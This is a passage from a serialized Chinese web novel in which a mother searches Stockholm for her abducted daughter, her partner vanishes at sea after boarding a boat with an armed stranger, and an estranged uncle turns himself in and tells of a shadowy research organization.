顾彦廷立刻拉搞了音调,“你能不能理智一点?你去了能干什么?你会成为累赘,懂吗?”
她咬着嘴唇,“可是……可是我怎么能在这个时候躲起来?”
“不是躲起来,是寻求支援。”
顾彦廷放缓了语气,“陈默既然是涅墨西斯的人,这件事就上升到了跨国犯罪的高度。光靠我们几个人是不够的。”
“你去大使馆,寻求官方的庇护和介入。”
他尝试安抚江晚絮,“相信我,好吗?我会把安安完完整整带回来的。”
“好。”江晚絮吸了吸鼻子,“我听你的。但我有一个条件。”
“你说。”
“你必须安全回来。”江晚絮眼圈通红,“顾彦廷,如果你敢死,我就带着安安嫁给别人,让安安叫别人爸爸!”
顾彦廷愣了一下,随即就有些无可奈何。
“你的脑子里究竟装了些什么?还是说作者被26年春晚刺激到了,开始精神错乱瞎写了?”
没错,作者已经被各种机器人广告整神了。
他低下头,在她脸颊上轻轻落下一吻,“放心吧。”
旁边的许甜翻了个白眼。
计划敲定。
江晚絮和许甜拿着陈曦提供的部分资料,前往华国驻瑞典大使馆寻求帮助。
而顾彦廷和马克,则准备去往自由港。
临走前,陈曦拉住了江晚絮的手。
她从手腕上褪下一个翡翠镯子,强行套在了江晚絮的手腕上。
“晚晚,这是外婆给你的见面礼。”
江晚絮想推辞,但看着老人恳求的眼神,最终还是默默接受了。
“外婆,您保重。”
江晚絮抱了抱她,“等安安回来了,我带她来看您。”
陈曦含泪点头,“好,好……外婆等你们回家。”
看着江晚絮和许甜的车离开很久,陈曦才回了房间。
她看着钢琴上的那张照片,眼神变得幽深起来。
“默儿……”
她喃喃自语,“你究竟在做什么?”
许甜开着车,透过后视镜看了一眼坐在后座发呆的江晚絮。
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>“想什么呢?”
江晚絮回过神,苦笑了一下,“我在想,我这辈子是不是真的很倒霉。”
“确实挺倒霉的。”
许甜补刀,“摊上那样的亲爹,那样的前夫,现在又冒出来个**舅舅。如果不把你写进小说里,读者都会觉得作者在为了虐而虐。”
江晚絮:“……”
“你就不能安慰我一下吗?”
“安慰有用吗?”
许甜打了一把方向盘,“江晚絮,你不能一直这样没脑子。”
“你看看我,虽然养母对我很好,但在异国他乡,作为一张亚洲面孔,要想在艺术圈混出头,你知道有多难吗?”
“我被人歧视,被人诬陷,甚至还被人跟踪骚扰。”
她的声音很平静,就好像那些过往不是发生在自己身上的一样。
“但我从来都没哭过。你呢,是虐文女主,聪明但感性,执着却无脑。但我不一样,我是大女主性格。谁要是欺负我,我就会当场打回去。打不过就报警,报完警就找律师告到他破产。”
江晚絮看着她的背影,有些羡慕。
“姐,你真厉害。”
“你也一样。”
许甜突然说,“你能从江家叶家脱离出来,能靠自己在科研领域站稳脚跟,还能让顾彦廷对你死心塌地。晚晚,你比你自己想象的要强大得多。”
江晚絮愣了愣。
强大?
她一直觉得自己是很无能的。
以前,她依附江家,依附叶寒,后来又依附顾彦廷。
“别妄自菲薄。”
许甜笑了笑,“顾彦廷喜欢你,不是因为你可怜。男人对可怜的女人只有同情,没有爱。他爱你,是因为你身上的韧劲。”
“怎么折磨都死不了,春风吹又生的,属实很磨人。”
江晚絮:我怀疑你在骂我,但我没有证据。
许甜从后视镜看到她沉思的样子,知道自己的话被她听进去了。
“别想了。”
她看了一眼导航,“前面拐弯就是大使馆了。”
“砰!”
一声巨响。
车身剧烈震动了一下。
江晚絮还没反应过来,整个人就被惯性带着往前冲去,脑袋撞在了前排座椅上。
“怎么了?!”
“爆胎了!”
许甜紧紧抓着方向盘,努力控制着车身不让它侧翻。
车子在公路上滑行了几十米,终于在路边停了下来。
第287章 那人有枪!
车子停稳后,许甜惊魂未定,缓了好一会儿,才回头看向江晚絮。
“没事吧?”
“我没事。”江晚絮揉着额头回答。
许甜解开安全带,“我下去看看。”
她下了车饶了一圈,才发现右后轮的轮胎上,扎着一枚三角钉。
许甜看了看近在咫尺的大使馆,耸了耸肩。
算了,走过去吧。
江晚絮也在这时下了车。
两人一同来到大使馆,得知江晚絮就是那个丢了孩子的母亲,两人很快就被带了进去。
“喝点热水。”
一杯冒着热气的纸杯被塞进了手里。
江晚絮抬起头。
是使馆的工作人员是一个扎着马尾的中国女孩。
“谢谢。”江晚絮接过了她的好意。
“别担心,江女士。”工作人员柔声安慰,在江晚絮身旁坐下,“大使已经联系了瑞典警方。只要孩子还在境内,我们一定能把她找回来。”
“一定……能找回来吗?”
江晚絮喃喃自语。
“当然。”工作人员语气坚定,“这里是大使馆,是你在国外的家。无论发生什么,祖国都是你最坚强的后盾。”
江晚絮点了点头,却依然有点失神。
“怎么了?”
许甜处理完登记手续走过来,看见江晚絮眼眶通红,立刻皱起了眉。
“是不是哪里不舒服?”
许甜坐在江晚絮身边,伸手探了探她的额头。
“没发烧啊。”
江晚絮摇摇头,把眼泪憋了回去,勉强扯出一个笑容,“我没事。就是……觉得挺不真实的。”
“什么不真实?”许甜挑眉。
“以前出了事,从来没有人管过我。”江晚絮低下头,看着杯子里的水,“我习惯了一个人扛,习惯了被放弃。突然有这么多人帮我,我……”
“打住。”
许甜伸手直接捂了一下江晚絮的嘴,等她真的闭嘴后才收回收。
“江晚絮,把你脑子里那些受虐狂的思想给我清空。”
“你是我的妹妹,是方颖的女儿,也是国家顶尖的研究员。你值得被保护,值得被爱,懂吗?”
许甜松开手,恨铁不成钢地看着她。
“你前面怎么过,不代表你以后也得这么过。以前那是你瞎,也是那群人太恶心。现在不一样,懂吗?”
她指了指头顶的国徽。
“还有这个。”
江晚絮吸了吸鼻子,重重地点了点头。
“嗯。”
两人又等了一小会儿,许甜的手机响了。
打来电话的是马克的那个黑客朋友安德森。
安德森说自己这两天一直在查关于涅墨西斯和晨曦家族的信息。
他说,在一个关于生物科技研究的论坛上,发现了一个奇怪的帖子。
但这个帖子的内容是很正常的。
是一个研究生关于大脑开发的论文。
而在下面的几百条评论中,有一条引起的安德森的注意。
那个评论说的是,如果对晨曦家族传承者的基因进行深入研究,就能帮助人类快速破解大脑开发的瓶颈。
而且是年纪越小越好,尤其是小女孩。
安德森下意识就觉得这条评论和安安有关,所以他花了四个小时追查了这个评论发布者的ip,最终的定位,就在自由港。
时间回到十分钟前。
斯德哥尔摩,自由港。
马克正拿着手机,盯着不远处的两个人。
顾彦廷站在岸边,正在和一个包裹严实的男人说着什么。
那个男人穿着黑色的冲锋衣和工装裤,他戴着一顶黑色的鸭舌帽和口罩,马克看不出肤色也不知道对方的年纪。
马克直觉那个男人有些危险,可他虽然能听到两人的声音,却不怎么能听懂。
他们在用中文对话。
过了好一会儿,顾彦廷回过头,对马克说了一句话。
“回车上去。”
“可是顾……”马克看着那个黑衣人,一脸担忧,“他看起来很危险。”
顾彦廷看着他,很坚定。
“上车去。”
马克无奈,只能一步三回头地退回了车边,但他并没有上车,而是警惕地盯着这边,随时准备冲过来。
等马克走远了,顾彦廷才重新看向黑衣人。
黑衣人指了指远处停泊的一艘小型游轮
大概两分钟后,黑衣人率先走上了那艘游轮。
“告诉晚晚,我会带安安回来。”
顾彦廷对着远处的马克喊了一句。
然后,他没有丝毫犹豫,长腿一迈跟着那个男人上了小游轮。
“顾!!!”
马克的惊呼声立刻响起。
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>他的反应也算迅速,立刻就追了过去。
可惜,在顾彦廷走上去的那一刻,游轮就开动了。
“疯了……都疯了……”
马克看着消失在夜色中的快艇,急得直跺脚。
他掏出手机,拨通了许甜的电话。
大使馆接待室内。
“什么叫……开走了?”
江晚絮感觉自己现在经历的一切都有些玄幻了。
要不就是辰辰的脑洞太奇特了。
总之,到目前为止,剧情的走向有点黑帮片的意思。
电话里,马克的声音还在继续。
“顾……顾上去了,跟那个黑衣人。他们上了游轮,我追不上。那个黑衣人很危险,顾彦廷没有带武器!”
马克把情况语无伦次地说了一遍,然后表示自己会找自己的朋友借一辆快艇,让许甜和江晚絮去寻求警察的帮助。
听完马克的话,江晚絮只觉得眼前一阵天旋地转。
许甜见她状态不好,只好先报了警。
仅仅过了十分钟,大使馆门口就来了两辆警车。
两人先是感谢了大使馆的工作人员,然后才一起坐上了警车。
江晚絮神情恍惚地盯着车窗外。
车窗外的景色飞速**,像极了她这五年荒唐又破碎的人生。
许甜紧紧握着她的手。
“别怕。”她的声音有些哑,“他不会有事的。”
江晚絮没说话,只是机械地点了点头。
四十分钟后,自由港。
车还没停稳,许甜就推门冲了下去。
“马克!”
不远处,那个金发碧眼的男人正在岸边来回踱步。
听到许甜的声音,马克立刻回头。
“甜!你们终于来了!”
马克冲过来,甚至不敢看许甜的眼睛,只能手足无措地指着漆黑的海面,“顾……顾他就在那里,我想拦住他的,真的!我看到那个人的腰上有枪!”
“枪?”
江晚絮刚下车,听到这个字,腿一软,差点跪在地上。
旁边的警员赶紧扶住了她。
“那个黑衣人有枪?”江晚絮声音不由自主地颤抖起来,“你刚才电话里没说他有枪!”
马克都要哭了:“我……我刚才没看见,是顾上船的时候,那个男人腰上露出来的!顾肯定看见了,但他还是上去了!”
第288章 自首?
江晚絮只觉得耳边“嗡”的一声。
有枪。
顾彦廷赤手空拳,跟着一个带枪的神秘人,上了一艘不知道开往哪里的船?
他是真的不想活了吗?
“那个船往哪个方向去了?”瑞典警方的负责人是个高大的白人,此刻皱着眉走过来询问。
马克指了一个方向,“那边!西北方向!大概走了有二十分钟了!”
警察立刻拿起对讲机开始部署。
现场乱作一团。
江晚絮站在冷风口,可她感觉不到冷。
她满脑子都是顾彦廷的身影。
“江女士。”
一名负责笔录的女警走了过来,开始询问马克。
“我们需要知道关于那个黑衣人的更多细节。您再仔细想想。”
江晚絮和许甜也看向马克。
马克抓了抓头发,“他们说的是中文,我听不懂。顾好像并没有叫他的名字。”
“身形呢?”
马克比划着,“那人个子很高,比顾稍微矮一点点,但也很高了,至少有一米八。虽然穿着宽松的冲锋衣,但能看出来很壮。”
“还有吗?”女警员追问,“比如眼睛,或者手?你看到他的手了吗?”
马克愣了一下,随即想起来,“有的!他戴着一副黑色的手套,但是……他在上船扶栏杆的时候,我看到了他的手腕。”
“什么颜色的皮肤?”
“应该是亚洲人的肤色。”马克挠了挠头,“我也不太确定。”
江晚絮皱了皱眉。
亚洲人?
是陈默吗?
就在这时,不远处正在查阅终端的一名警员突然喊道,“查到了!”
所有人立刻围了过去。
“根据港口的离港记录和监控比对,刚才离开的那艘小型游轮,注册号是SW-9088。”警员指着屏幕上的一行资料,神色凝重。
“船主是谁?”许甜急切地问。
警员抬头,看了一眼江晚絮和许甜,报出了一个名字。
“船只注册在一个私人名下,属于一位意大利籍华人。”
“名字叫——Doc.Xie。”
江晚絮和许甜对视一眼。
“谢承允?怎么会是他?”
江晚絮的脑子有一瞬间的短路。
“如果是谢承允,那顾彦廷或许……”许甜的眼神闪烁了一下,似乎在快速分析着利弊,“或许暂时是安全的。”
“可他为什么会出现在这里?”
面对江晚絮的这个问题,许甜当然也不知道原因。
她想了想,直接走到一旁给方知意打了电话。
江晚絮听着耳边的警笛声,看着平静的海面,突然觉得自己很孤独。
她想起自己刚刚**华嵩接到京市的那一年。
那时候,她很怕江家人不喜欢自己,所以竭尽全力讨好。
可他们对她,始终冷淡,甚至是嫌弃的。
她当时不明白,既然他们不喜欢自己,为什么还要接自己回来?
后来,M姨出现,晨曦家族的事情浮出水面,她才慢慢知道,**嵩从没爱过自己,也从没爱过方颖。
到现在,她依然没有明白方颖为什么会嫁给**嵩。
要说**嵩愿意娶方颖是为了晨曦家族的基因秘密,那方颖又为什么会被拿捏,心甘情愿嫁给他?
“晚晚!”
许甜打完电话,一脸凝重地走到她身边。
江晚絮回过神来。
“怎么样?”
“让我缓缓。”
许甜顺了好几口气,才将方知意的话转述了出来。
当年,方知意在意大利求学,后来就听方颖说自己认识了一个很好的男人,名叫谢承允。
两人不论是性格还是脾气都很搭,再加上一同做研究,很快就确认了关系。
可后来实验室失火后没多久,方颖就嫁给了**嵩。
她给**嵩生了三个儿子,在怀第四胎的时候——也就是怀上江晚絮和许甜的时候,她就预感自己要出事,所以才让方知意偷偷抱走了许甜。
方颖去世后,谢承允曾大闹江家,还曾经对**嵩大打出手,被警察警告过几次后,就消失了。
几年后,他就出现在欧洲,成了医学界小有名
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气的外科医生。
“听到了吗?如果是谢承允,那安安暂时应该是安全的。”许甜安慰江晚絮,“他应该不会对安安下手。”
江晚絮点了点头,但心里的石头并没有落地。
“陈默的幕后之人是他吗?他又为什么要带走安安?”江晚絮提出了疑问。
许甜摇了摇头。
她也想不通,但她还是大胆地做出了猜测。
“也许……”许甜看了一眼旁边的警察,压低声音,“也许是为了躲避‘涅墨西斯’。谢承允如果知情,带走安安可能是为了转移。”
就在这时,一名瑞典警察拿着一份文件走了过来,打断了两人的交谈。
“江女士,许女士。”
警察的神色有些古怪,他看了一眼江晚絮,眼神中带着一丝探究和同情。
“怎么了?是不是找到船了?”江晚絮立刻迎上去。
“船还在追踪,但是……”警察顿了顿,“有位老人,现在就在警局的接待室里,他说……他想见你。”
“老人?”
江晚絮愣住了。
出现的老人是不是有点太多了?
先是自称外婆的陈曦,现在又来一个?
“是谁?”许甜警惕地问道,“不会又是绑匪的同伙吧?”
警察摇了摇头,“应该不是。那位老人……他是自己走进警局自首的。”
“自首?”
江晚絮和许甜面面相觑。
“他说他叫陈默。”警察看着手里的记录本,读出了那个名字,“他说,他是这次**案的主谋之一,但是现在,他想见见被**孩子的母亲,也就是江晚絮女士。”
江晚絮的身体晃了晃。
这一晚上的冲击实在太大了。
所有的线索像是一团乱麻,让她有点喘不过气来。
“我去见他。”
“晚晚!”许甜有些担心,“你现在的状态……”
“我没事。”江晚絮走向警车,“我要去问问他,为什么要绑走我的女儿,顾彦廷到底去了哪里!”
“走。”许甜二话不说,拉开车门,“我陪你去。”
第289章 她太难了
从自由港到警局的路程并不远,但在江晚絮的内心一直七上八下的。
她开始回忆这段时间所有的事情。
自从梁霁川的身份被揭露以后,所有的事情似乎都朝着一个不可控的方向发展着。
到现在为止,他们都没有查到一丝一毫K先生与安安失踪相关的任何线索。
而且,叶寒到底去了哪里?他和这件事情又有什么关联?
“到了。”
警察的声音打断了她的回忆。
江晚絮深吸一口气下了车。
许甜嘱咐她,安安的下落是最重要的,千万要沉住气。
江晚絮点点头,在警察的带领下,她来到了最里面的一间审讯室。
透过单向玻璃,她看到了里面坐着一个略显瘦削的老人。
他穿着一件旧款的灰色夹克,正安静地坐在铁椅子上,低垂着头,看着面前的一杯水发呆。
即使隔着玻璃,江晚絮也能感觉到从他身上散发出来的那种绝望和疲惫。
“进去吧。”警察打开了门。
江晚絮站在门口沉默了两秒,这才抬脚走了进去。
听到开门声,老人缓缓抬起头。
四目相对。
江晚絮愣住了。
虽然眼前的老人满脸皱纹,但那双眼睛,那个轮廓,竟然和她母亲方颖的照片,有着惊人的相似。
这就是血缘吗?
哪怕隔了三十年,哪怕从未谋面,那种刻在骨子里的羁绊,依然能让她确定,这个人与她有血缘关系。
陈默在看到江晚絮的那一刻,眼眶瞬间就红了。
“晚晚……”他开口轻唤,“我……是你舅舅,陈默。”
江晚絮当然知道他是陈默。
她咽了咽口水,强迫自己保持清醒。
她是来找女儿的,不是来认亲的。
“别叫我。”江晚絮开口,“我女儿呢?安安在哪里?”
陈默低下头,看着自己手上的**,苦笑了一声:“对不起……是我没用。”
“我不想听对不起!”
江晚絮突然爆发,她用力拍了一下桌子,让外面等待的许甜都吓了一跳。
“你们一个个都说对不起!江家破产以后说对不起,叶寒那个渣男说对不起,现在你也说对不起!”
江晚絮红着眼,吼道,“对不起有用吗?对不起能让妈妈重新活过来吗?对不起能把我的安安还给我吗?!”
“你既然从没想过跟妈妈相认,现在为什么要来打扰我的生活?为什么还要**我的女儿!”
陈默看着情绪崩溃的江晚絮,老泪纵横。
“你说得对……我对不起妹妹,也对不起你……”
“安安……安安现在很安全。”陈默急切地解释,“我把她交给了可靠的人。那个黑衣人……他是来帮我们的。”
“帮?”江晚絮冷笑,“拿着枪威胁顾彦廷,这就是你说的帮?”
陈默的脸色变了变,似乎有些意外,但随即又露出了一丝释然。
“如果是上了那艘船……那就代表没事了。”陈默喃喃自语,“这可能就是命啊……”
“什么意思?你说清楚!”江晚絮逼问道。
陈默抬起头,看着江晚絮,“晚晚,你知道那个黑衣人是谁吗?”
“我不想知道那个黑衣人是谁!”江晚絮几乎是用尽全身力气在低吼,“我只想知道安安在哪里!你知不知道她才一岁?你明明知道她是我的女儿,为什么还要带走她?为什么?!”
这一路走来,她太难了。
陈默痛苦地闭上了眼睛,“我知道……晚晚,我都知道……正因为她是你的女儿,我才必须带她走。”
“借口!”
江晚絮根本不信,“既然是为了她好,为什么不直接联系我们?为什么要像做贼一样把孩子偷走?”
陈默苦笑一声,缓缓放下手。
“联系你们?”
“如果我能联系,三十年前我就联系了。如果能光明正大,我又怎么会变成这副鬼样子?”
江晚絮深吸一口气,强迫自己冷静下来,“什么意思?”
陈默动了动身子,换了一个舒服的姿势。
“晚晚,你仔细看看我。”
陈默向前探了探身子,“你知道我今年多少岁吗?”
江晚絮皱眉。
眼前的老人,头发花白,皮肤居然还挺好,脸上还有烧伤留下的疤痕,但看起来只有四十多岁。
她怎么忘了这一点,陈曦说过,陈默比方颖要大三岁。
那么……他今年应该有六十出头了。
江晚絮冷声道,“这和安安有什么关系?”
陈默摇了摇头,自嘲一笑,“我今年,六十二岁了。”
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江晚絮和许甜同时愣住了。
六十二岁?
这怎么可能?
“很惊讶是吗?”陈默看着自己的手臂,“我从小到大,都是涅墨西斯的试验品。”
阴魂不散的涅墨西斯。
陈默的声音变得飘忽,仿佛回到了那个噩梦般的开始,“我至今都记得,母亲抱着我跑,身后全是人。她把我藏在一个垃圾桶后面,让我别出声。可她引走了那些人,却没能回来接我。”
“后来,另一批人找到了我。他们把我带到了一个全是白色墙壁的地方。”
“那里有很多孩子,但每天都在减少。”
“我们被强制学习,学数学,学物理,学最晦涩难懂的生物基因工程。”
陈默指了指自己的脑袋,“如果学不会,就没有饭吃。如果考试不合格,就会被带去‘治疗室’。”
江晚絮听着他的叙述,只觉得背脊发凉。
她无法想象,那是一个怎样的人间炼狱。
“我因为记忆受损,一直不知道自己是谁。我问照顾我的那个代号叫‘K’的人,我到底从哪来。”
“直到二十四岁那年。”
陈默的眼里闪过一丝恨意,“我在生物基因领域获得了认可,他们觉得我可以‘出师’了,才告诉我真相。”
“他们把方颖的照片扔在我面前。”
“也就是那一刻,我才知道,我有一个妹妹,她生活在阳光下,正在攻读博士学位,有着美好的未来。”
江晚絮的心揪得更紧了。
妈妈……
原来妈妈一直被他们监视着。
“他们为什么要告诉你?”江晚絮抓住了重点,“我不信他们会突然发善心。”
“因为他们需要我。”
陈默继续回忆,“他们想要你母亲的研究数据。那时候,方颖在业内已经初露锋芒,她的研究方向触及到了大脑开发的某个关键瓶颈,那是涅墨西斯梦寐以求的东西。”
“所以,他们拿妈妈的命威胁你?”江晚絮说出自己的猜测。
“不止。”
陈默抬起头,“他们说,如果我不去,他们就会派别人去。而别人……我不敢想他们会做出什么……”
“我想反抗,可我根本就逃不掉。我体内被注射了药物,为了妹妹,也为了我自己,我只能答应。”
第290章 怎么会是她?
江晚絮看着陈默,突然觉得心里堵得慌。
他其实也是受害者。
“那你后来……”江晚絮哽咽了一下,“你见到妈妈了吗?”
陈默点了点头,“见到了。二十七岁那年,我终于回到了华国。”
“但我不是一个人回来的。”陈默无奈地笑了笑,“只能说他们从一开始就没有相信过我。他们派了两个欧洲人跟着监视我。但是因为他们在华国太显眼,不方便动手,所以就逼着让我来做。”
“我第一次靠近方颖在A大的实验室,见到了她……”
陈默的声音哽咽了,“我看到她的第一眼,就知道她是我的亲妹妹。我……我作为她的哥哥,该是保护她的那个人,怎么能毁了她?”
江晚絮紧紧咬着嘴唇,极力克制着眼泪。
她好像透过陈默的描述,看到了年轻时的母亲。
那个才华横溢,最终却郁郁而终的女人。
“所以,你做了什么?”许甜问。
“我去偷了她的实验数据。”
陈默苦笑,“如果我不去,那两个人很有可能会伤害妹妹。我偷了一份看起来很复杂的数据交了上去。”
“可涅墨西斯只用了一天就发现那份数据根本没用。”
陈默说到这里,咳嗽了好几声。
很显然,他的身体已经出了问题,现在只是在强撑而已。
“他们给我下达了新的命令,让我拿到完整核心数据。如果我不照做,他们就会把方颖绑回欧洲。”
陈默低垂着头,强忍着身体不适继续说道,“那时候,方颖身边有个男人,叫谢承允。我观察了很久……他是个值得托付的男人。如果方颖被他们带走……我都不敢想以后会发生什么。”
江晚絮和许甜对视了一眼。
“那后来呢?”江晚絮追问。
陈默伸出双手,露出了左手手背上狰狞的烧伤疤。
“我放了一把火。”
哪怕时隔二十多年,提起那场火,陈默仍觉得愧疚,“我在实验室的通风口动了手脚,然后沉着那两人去汇报的时候,制造了一场意外。”
“大火烧起来的时候,我还故意往里冲,想让他们相信这件事与我无关,可实际上……”
陈默指了指自己的眼睛,“我这样做,既能救下方颖,也能让他们放弃我。”
江晚絮看着他,不知道该同情还是该愤怒。
这些事情,她已经没办法去验证真假。
但也许是血脉亲情的缘故,她愿意相信他说的。
陈默平静地叙述着,“这件事情发生后,那边恼羞成怒,但也找不到其他的办法。因为妹妹当时整天都待在A大,而且似乎还有人暗中保护她,他们没办法对她动手。出院后,我特意去A大偷偷看她,却看到她在跟谢承允吵架。”
“为什么?”许甜不解,“实验室毁了,他们不应该互相安慰吗?”
陈默叹了口气。
“因为方颖猜到这件事是人为的。她怀疑是谢承允为了成立实验室与某个财团达成了交易,故意毁了实验。具体的我没听清,我只知道,从那之后他们就**了。”
江晚絮的心里五味杂陈。
方颖真的是这样随意猜忌的性格吗?
那她为什么会突然嫁给**嵩?是心灰意冷?还是为了寻求庇护?
“后来呢?”江晚絮问,“你被带走之后发生了什么?”
“后来……”陈默眼神有些放空,“后来再回去欧洲的路上,我找了个机会逃离了他们的掌控。虽然如此,但他们一直都在追查我的下落。我本以为,我会一直这样东躲西藏下去,直到最近……”
陈默说到这里,整个人都变得阴沉起来。
“直到最近,我从一个朋友那里听到了一些风声。”
“什么风声?”
“涅墨西斯的一个长老,盯上了安安。”
“为什么?!”江晚絮情绪
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激动,“安安两个月时,我就给她做了手术!当时是特意发过公告的!”
“可他们不信。”
陈默一字一顿地说,“他们认为,这是你故意放出的假消息,目的就是掩藏安安的特殊基因,同时……也是为了研究。”
江晚絮都要气笑了。
她十月怀胎生下的女儿,是她的研究对象?
这些人脑子里装的都是什么?
以己之心,度人之腹吗?
可笑!
“我必须先下手为强。”
陈默急切地解释,“如果我不带走她,一旦被他们得逞,安安就会直接消失在这个世界上!”
“那你为什么不告诉我?!”
江晚絮有些崩溃,眼泪夺眶而出,“既然是为了救她,你为什么不告诉我?你知不知道我这几天是怎么过的?你知不知道我以为我要失去她了!”
“我留了信!”
陈默大声喊道,“我在带走安安的那天晚上,我就给你留了一封亲笔信!我把所有的前因后果,所有的计划都写在里面了!”
“信?”
江晚絮愣住了,“什么信?我从来没收到过什么信!”
陈默一怔,“不可能……我给你送信那天,遇到一个女人,说是你的朋友,姓苏的……”
江晚絮下意识地就摇头否认,“不可能,洛敏是我最好的朋友。她……”
“晚晚,”陈默重复了一遍,“她给我看了你和她的很多合照。”
“不……不会的……”
江晚絮还是摇头。
陈默想了想,抬头向摄像头的方向挥了挥手。
很快就走进来一名警察。
陈默同警察交涉了几句后,送进来一个手机。
“你看,”陈默在警察的监视下,打开了相册,指着其中一张照片告诉江晚絮,“就是她。”
江晚絮低头看去,果然看到从大学时期就跟她如胶似漆的一张脸。
苏洛敏……
第291章 她不是个好妈妈
陈默没有看出江晚絮的情绪变化,只以为她只是单纯没收到那封信。
他张了张嘴,似乎想说什么,却又什么都说不出来。
这就是命吗?
“对不起……”
他低下头,“如果我早早跟你相认,也许就不会发生这些事情。”
江晚絮深吸一口气,压下对苏洛敏的怀疑,重新看向陈默。
“好,以前的事我不追究了。现在,我只想知道安安在哪里。”
“我到了斯德哥尔摩之后,第一时间就去了母亲那里。我本想着母亲是安安的亲外婆,跟着她比跟着我要安全得多。”
“但是很快,我就发现有人在暗中监视母亲。”
陈默叹了口气,“没办法,我只能带着安安再次离开,可跟踪我的那些人,估计很快就能找到我。”
“你能不能说重点?”许甜急得直跺脚,“你把安安交给谁了?”
陈默咽了咽口水,“我当时准备前往自由港找艘船去意大利,但是我刚离开母亲家没多久,就发现有人已经盯上我了?”
“我当时很绝望,我以为是涅墨西斯的人追上来了。直到那个人出声,我才知道他是谁。”
“他说,他是来接孩子的。”
“虽然很多年没见,但我认得他。”
“他是谁?!”江晚絮感觉自己的心脏都要跳出来了。
“谢承允。”
江晚絮和许甜同时松了一口气。
“可是……”许甜突然皱眉,“如果谢承允接走了安安,那在自由港上船的那个黑衣人是谁?还有,顾彦廷为什么会跟那个黑衣人走?”
这个问题,让刚松了一口气的江晚絮再次紧张起来。
对啊。
如果安安已经被谢承允安全接走,那顾彦廷去追的那艘船,到底是怎么回事?
那个**的黑衣人,又是谁?
陈默看着两人疑惑的表情,犹豫了一下,还是开口了。
“那个黑衣人……其实是我找的保镖。”
“什么?”江晚絮懵了。
陈默解释道,“我要去自首,但我必须让涅墨西斯的人以为安安还在我手里。所以我雇了一个身形跟我差不多的人,让他带着一个装着玩偶的包裹上了船。”
“那艘船,也确实是谢承允安排的。”
“我的计划是,让那艘船吸引所有人的注意力,这样谢承允就可以带着安安,去安全的地方。”
江晚絮只觉得脑子里“嗡”的一声。
“所以……”
她颤抖着声音问,“顾彦廷追上去的那艘船,上面根本没有安安?”
陈默肯定地点头。
“那个黑衣人为什么有枪?为什么顾彦廷会上船?”
陈默愣了一下,“枪?我没让他带枪啊!”
一种极其不祥的预感,瞬间笼罩了江晚絮。
既然陈默没让带枪,那马克看到的枪是从哪来的?
那个黑衣人……又是谁?
“坏了!”
许甜脸色惨白,“如果黑衣人不是舅舅的人,那就是涅墨西斯的人!他们在将计就计?”
“那顾彦廷……怎么办?”
“不行,我要去找他!”
江晚絮的脑子一瞬间就乱了,她站起身就要往外冲。
“晚晚!”许甜一把抱住她,“你冷静点!现在海上一片漆黑,你去哪找?而且现在安安到底安不安全我们都还不知道!”
“你让我怎么冷静?!”
江晚絮推开许甜吼道,“安安没找到,现在顾彦廷也不见了,我怎么冷静?!”
说到后面,江晚絮已经哭了起来。
“都是我的错……”陈默看着崩溃的江晚絮,后悔不已,“如果我跟你们直说,也许就不会出这么多事了……”
“闭嘴吧你!”
许甜瞪了他一眼。
“江女士!”
之前那个瑞典警方的负责人推门走了进来,“有消息了!”
许甜见江晚絮情绪崩溃,赶紧开口问道,“是不是找到船了?顾彦廷怎么样?”
警察沉声道:“我们的巡逻艇发现了SW-9088号游轮。”
“然后呢?”
“船停在一处小岛边上,”警察顿了顿,似乎在斟酌用词,“我们的特警登船了。”
“船上……”警察深吸一口气,“没有发现任何乘客,也没有发现那名黑衣人。”
“没人?”江晚絮愣住了,“那顾彦廷呢?”
“我们在甲板上发现了一些打斗的痕迹,还有……”
警察从证物袋里拿
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出一件东西。
那是一枚袖扣。
江晚絮一眼就认出这是顾彦廷今天穿的那件衬衫上的袖扣。
“还有什么?”江晚絮颤着声继续问。
“还有血迹。”
警察低声说道,“经过初步检测,血迹还没有干涸。而且栏杆上有滑落的痕迹。我们推测,可能有人落水了。”
“不……”
江晚絮后退两步,一边摇头一边呢喃,“不会的……”
“带我过去。”江晚絮突然抬起头,“带我去现场。”
“江女士,海上风浪很大……”
“带我去!”
江晚絮厉声尖叫,“如果不带我去,我就自己游过去!”
许甜看着妹妹这副模样,心疼得直掉眼泪。
她转头看向警察,用流利的英文说道,“请带我们去吧。”
二十分钟后,一艘警用快艇载着江晚絮朝着那座小岛疾驰而去。
六月的瑞典,夜间气温只有10度。
江晚絮坐在船舱里,身上披着警察给的厚毛毯,可她依然觉得很冷。
海风呼啸着,像是有人在哭,凄凄厉厉的。
也许是因为精神高度紧绷,江晚絮的脑海里开始像走马灯一样回放着以前的画面。
她想起上高中的时候,她第一次见到顾彦廷的时候。
那个时候,他是落魄的豪门公子,而她是一个不受宠的家族弃女。
再后来,他突然消失,而她,完成学业后嫁给了叶寒。
他们之间,隔了十年之久。
可到底,还是再次相遇。
过去的伤痛,她花了很久才彻底放下,而这一切,都是因为有他。
她不是个好妻子,也不是个称职的好母亲……
他明明什么都知道,却从没嫌弃过自己,也从没远离。
在江晚絮心里,顾彦廷的位置,远比安安要重得多。
这样想也许不对,可对江晚絮来说,事实就是如此。
“到了。”
随着警察的一声呼喊,快艇慢了下来。
不远处的小岛,一艘小型游轮搁浅在沙滩上。
江晚絮登上了这艘船。
甲板上确实一片狼藉。
断裂的栏杆,散落的绳索,还有一滩触目惊心的暗红色血迹。
第292章 古堡
江晚絮想哭,可眼泪好像流干了。
“江女士,根据现场痕迹判断,顾先生极有可能是在打斗中受了枪伤,然后坠海。这一带水温很低,顾先生……”
江晚絮摇头打断警察,“没见到尸体,就说明他还活着!我不信他会死,我不信!”
许甜冲上来抱住江晚絮,眼泪止不住地流,“晚晚,你别这样……”
“姐,他没死。”江晚絮抓着许甜的手臂,“安安还没找到呢,他怎么舍得死?”
许甜心如刀绞。
就在这时,江晚絮口袋里的手机震动起来。
是程宇。
江晚絮立刻接通。
电话那头,是一阵令人心慌的沉默。
“程宇?”江晚絮心头一跳,“说话!”
“晚絮……”程宇艰难开口,“你现在……能承受得住吗?”
江晚絮惨笑一声,目光空洞,“说吧。”
“好。”
程宇深吸一口气,“我知道你现在在那边很难,但我必须告诉你这件事。如果不说,我怕你会因为信任……而再次受伤。”
“别铺垫了,是不是跟敏敏有关?”
程宇愣了一下,显然没想到江晚絮能猜到自己打电话的原因。
他快速斟酌了一下词汇,“你和顾彦廷出国前,我就觉得她不对劲。她总是旁敲侧击问我关于案子的进展,当时我以为她是关心你,毕竟你们是最好的闺蜜。”
“直到昨天。”
